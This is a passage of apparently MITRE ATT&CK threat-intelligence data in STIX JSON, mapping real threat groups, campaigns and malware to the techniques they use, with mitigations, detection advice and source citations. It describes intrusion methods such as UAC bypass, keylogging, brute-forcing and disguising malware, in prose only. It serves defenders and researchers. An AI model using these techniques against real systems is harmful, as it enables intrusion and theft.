2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."},{"source_name":"SecureWorks August 2019","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has identified executives, HR, and IT staff at victim organizations for further targeting.(Citation: SecureWorks August 2019)(Citation: ClearSky Siamesekitten August 2021)","modified":"2022-06-06T15:50:33.497Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ecd6c482-51ae-402c-8482-4feb9cda9b05","created":"2021-07-16T19:42:59.611Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:32:39.436Z","description":"[GrimAgent](https://attack.mitre.org/software/S0632) has used Rotate on Right (RoR) and Rotate on Left (RoL) functionality to encrypt strings.(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ecd83e69-2eb1-4c2d-a01f-e42ea8f807f9","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Github UACMe","description":"UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.","url":"https://github.com/hfiref0x/UACME"}],"modified":"2018-10-17T00:14:20.652Z","description":"[UACMe](https://attack.mitre.org/software/S0116) contains many methods for bypassing Windows User Account Control on multiple versions of the operating system.(Citation: Github UACMe)","relationship_type":"uses","source_ref":"tool--102c3898-85e0-43ee-ae28-62a0a3ed9507","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ecdb40b3-ef34-4d6c-9947-060077753d79","created":"2022-04-28T16:03:22.810Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity.","modified":"2022-04-28T16:03:22.810Z","relationship_type":"detects","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ecdbe751-ef08-41fe-8c13-27ffaae30312","type":"relationship","created":"2020-02-05T14:04:26.307Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-05T14:04:26.307Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ecdd1bee-29eb-4f72-a506-6c33777a094f","created":"2023-03-26T14:39:38.360Z","revoked":false,"external_references":[{"source_name":"Volexity SolarWinds","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T14:39:38.360Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) obtained a list of users and their roles from an Exchange server using `Get-ManagementRoleAssignment`.(Citation: Volexity SolarWinds)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ecde1551-bca2-4f45-8692-cbc583cf3d4f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}],"modified":"2020-03-16T19:50:03.290Z","description":"[Unknown Logger](https://attack.mitre.org/software/S0130) is capable of recording keystrokes.(Citation: Forcepoint Monsoon)","relationship_type":"uses","source_ref":"malware--ab3580c8-8435-4117-aace-3d9fbe46aa56","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ece11a34-960b-4ead-8258-02bee1bb0e41","type":"relationship","created":"2019-10-11T16:14:20.340Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators’ New Tools and Techniques. Retrieved October 11, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html","source_name":"FireEye FIN7 Oct 2019"}],"modified":"2019-10-11T16:14:20.340Z","description":"(Citation: FireEye FIN7 Oct 2019)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"malware--56d10a7f-bb42-4267-9b4c-63abb9c06010","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ecedc32f-3e97-4c2c-9b7e-d847baec8a44","type":"relationship","created":"2021-09-24T21:41:35.028Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"HackerNews IndigoZebra July 2021","url":"https://thehackernews.com/2021/07/indigozebra-apt-hacking-campaign.html","description":"Lakshmanan, R.. (2021, July 1). IndigoZebra APT Hacking Campaign Targets the Afghan Government. Retrieved September 24, 2021."}],"modified":"2021-09-24T21:41:35.028Z","description":"[IndigoZebra](https://attack.mitre.org/groups/G0136) sent spearphishing emails containing malicious attachments that urged recipients to review modifications in the file which would trigger the attack.(Citation: HackerNews IndigoZebra July 2021)","relationship_type":"uses","source_ref":"intrusion-set--e5603ea8-4c36-40e7-b7af-a077d24fedc1","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ecf30cb0-3183-4ed4-bb33-da604ea6a65e","created":"2020-11-06T18:40:37.977Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Cobalt Strike September 2020","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"},{"source_name":"cobaltstrike manual","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:54.845Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154)'s Beacon payload can collect information on process details.(Citation: cobaltstrike manual)(Citation: Talos Cobalt Strike September 2020)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ecf3d7ec-a8f9-435a-9c09-6d264f319728","type":"relationship","created":"2020-01-24T14:48:05.786Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T14:48:05.786Z","relationship_type":"revoked-by","source_ref":"attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025","target_ref":"attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ecf9df35-e4f5-4041-a65d-0e897e5435b0","type":"relationship","created":"2019-06-21T17:38:45.794Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T14:12:33.343Z","description":"Protect shared folders by minimizing users who have write access.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ecfb4c82-5097-4273-8aeb-007922e92940","created":"2022-04-06T14:42:53.252Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Lazarus Aug 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: ClearSky Lazarus Aug 2020)","modified":"2022-04-06T14:42:53.252Z","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed00df58-4656-4c62-8ef1-8b859f46c1ed","type":"relationship","created":"2021-04-13T12:56:16.374Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-04-13T12:56:16.374Z","description":"[P.A.S. Webshell](https://attack.mitre.org/software/S0598) can use predefined users and passwords to execute brute force attacks against SSH, FTP, POP3, MySQL, MSSQL, and PostgreSQL services.(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd","target_ref":"attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed0428f5-d354-4827-8f9a-95177ce0a1cb","type":"relationship","created":"2020-06-22T20:15:32.208Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Holmium June 2020","url":"https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/","description":"Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020."}],"modified":"2020-06-22T20:15:32.208Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has used malicious e-mail attachments to lure victims into executing malware.(Citation: Microsoft Holmium June 2020)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ed07a5d3-757c-4665-969b-c0a1bb9ec881","created":"2024-08-13T20:14:21.297Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"},{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:07:51.701Z","description":"During [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors used tools including Advanced Port Scanner, [Mimikatz](https://attack.mitre.org/software/S0002), and [Impacket](https://attack.mitre.org/software/S0357).(Citation: CISA Iran Albanian Attacks September 2022)(Citation: Microsoft Albanian Government Attacks September 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed08418e-2143-4633-bfc9-cac436adde2b","type":"relationship","created":"2020-12-28T22:09:15.764Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}],"modified":"2020-12-28T22:09:15.764Z","description":"[MoleNet](https://attack.mitre.org/software/S0553) can use WMI commands to check the system for firewall and antivirus software.(Citation: Cybereason Molerats Dec 2020)","relationship_type":"uses","source_ref":"malware--8a59f456-79a0-4151-9f56-9b1a67332af2","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed096691-23a6-4104-879d-5e96d257b3f0","type":"relationship","created":"2021-07-30T15:56:52.349Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybersecurity Advisory SVR TTP May 2021","url":"https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf","description":"NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021."},{"source_name":"Secureworks IRON HEMLOCK Profile","url":"http://www.secureworks.com/research/threat-profiles/iron-hemlock","description":"Secureworks CTU. (n.d.). IRON HEMLOCK. Retrieved February 22, 2022."}],"modified":"2022-02-22T14:44:52.406Z","description":"(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: Secureworks IRON HEMLOCK Profile)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"tool--11f8d7eb-1927-4806-9267-3a11d4d4d6be","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed0e96e6-6b71-468a-9e76-477ed3765ca4","type":"relationship","created":"2020-05-27T22:05:32.060Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos Netwalker May 2020","url":"https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/","description":"Szappanos, G., Brandt, A.. (2020, May 27). Netwalker ransomware tools give insight into threat actor. Retrieved May 27, 2020."}],"modified":"2020-05-27T22:05:32.060Z","description":"Operators deploying [Netwalker](https://attack.mitre.org/software/S0457) have used psexec and certutil to retrieve the [Netwalker](https://attack.mitre.org/software/S0457) payload.(Citation: Sophos Netwalker May 2020)","relationship_type":"uses","source_ref":"malware--754effde-613c-4244-a83e-fb659b2a4d06","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed113911-e21a-4b1b-a082-42313d5aa887","type":"relationship","created":"2020-05-26T19:43:49.658Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-06-03T13:40:15.300Z","description":"[Aria-body](https://attack.mitre.org/software/S0456) has the ability to inject itself into another process such as rundll32.exe and dllhost.exe.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed136275-95b7-4f46-914c-a7f964558278","type":"relationship","created":"2021-06-21T18:31:00.909Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Cuba April 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf","description":"Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}],"modified":"2021-08-31T21:30:39.498Z","description":"[Cuba](https://attack.mitre.org/software/S0625) has been disguised as legitimate 360 Total Security Antivirus and OpenVPN programs.(Citation: McAfee Cuba April 2021) ","relationship_type":"uses","source_ref":"malware--6cd07296-14aa-403d-9229-6343d03d4752","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ed149b2f-6743-4d06-b869-158c0f96746e","created":"2023-01-24T20:31:29.234Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Avos Jun 2022","description":"Venere, G. Neal, C. (2022, June 21). Avos ransomware group expands with new attack arsenal. Retrieved January 11, 2023.","url":"https://blog.talosintelligence.com/avoslocker-new-arsenal/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-14T20:55:30.322Z","description":"During [C0018](https://attack.mitre.org/campaigns/C0018), [AvosLocker](https://attack.mitre.org/software/S1053) was disguised using the victim company name as the filename.(Citation: Cisco Talos Avos Jun 2022)","relationship_type":"uses","source_ref":"campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ed168bde-2ccc-4a58-a96f-6dd8e8a5776d","created":"2022-08-22T20:43:41.882Z","x_mitre_version":"0.1","external_references":[{"source_name":"Huntress API Hash","url":"https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection","description":"Brennan, M. (2022, February 16). Hackers No Hashing: Randomizing API Hashes to Evade Cobalt Strike Shellcode Detection. Retrieved August 22, 2022."},{"source_name":"BlackHat API Packers","url":"https://www.blackhat.com/docs/us-15/materials/us-15-Choi-API-Deobfuscator-Resolving-Obfuscated-API-Functions-In-Modern-Packers.pdf","description":"Choi, S. (2015, August 6). Obfuscated API Functions in Modern Packers. Retrieved August 22, 2022."},{"source_name":"MITRECND FindAPIHash","url":"https://github.com/MITRECND/malchive/blob/main/malchive/utilities/findapihash.py","description":"Jason (jxb5151). (2021, January 28). findapihash.py. Retrieved August 22, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Depending on the method used to obfuscate API function calls, a file-based signature may be capable of detecting dynamical resolution.(Citation: Huntress API Hash)(Citation: BlackHat API Packers)(Citation: MITRECND FindAPIHash)","modified":"2022-08-22T20:45:53.539Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--ea4c2f9c-9df1-477c-8c42-6da1118f2ac4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed1aa5fa-7f0e-4d87-b3f5-7b50ab01e34b","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2018-10-17T00:14:20.652Z","description":"[WINERACK](https://attack.mitre.org/software/S0219) can gather information about the host.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"malware--49abab73-3c5c-476e-afd5-69b5c732d845","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ed1c4fff-998f-499d-8a00-cfdee554254c","created":"2022-03-30T14:26:51.876Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for API calls that may create or modify Windows services (ex: ` CreateServiceW()`) to repeatedly execute malicious payloads as part of persistence.","modified":"2022-04-19T03:12:36.138Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed1cb231-7e2d-461c-a9c8-56a2d1f43c0f","type":"relationship","created":"2020-05-12T21:44:40.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-15T18:47:04.312Z","description":"[ShimRatReporter](https://attack.mitre.org/software/S0445) encrypted gathered information with a combination of shifting and XOR using a static key.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"tool--115f88dd-0618-4389-83cb-98d33ae81848","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ed218127-ef3a-4038-b864-3f0ceb6b4bd1","created":"2021-07-16T18:42:15.046Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:32:39.436Z","description":"[GrimAgent](https://attack.mitre.org/software/S0632) has the ability to use HTTP for C2 communications.(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed2229d5-d586-4986-b3ae-e5f788bb6e15","type":"relationship","created":"2021-09-28T01:36:41.937Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-11T19:04:18.969Z","description":"Use application control configured to block execution of MMC if it is not required for a given system or network to prevent potential misuse by 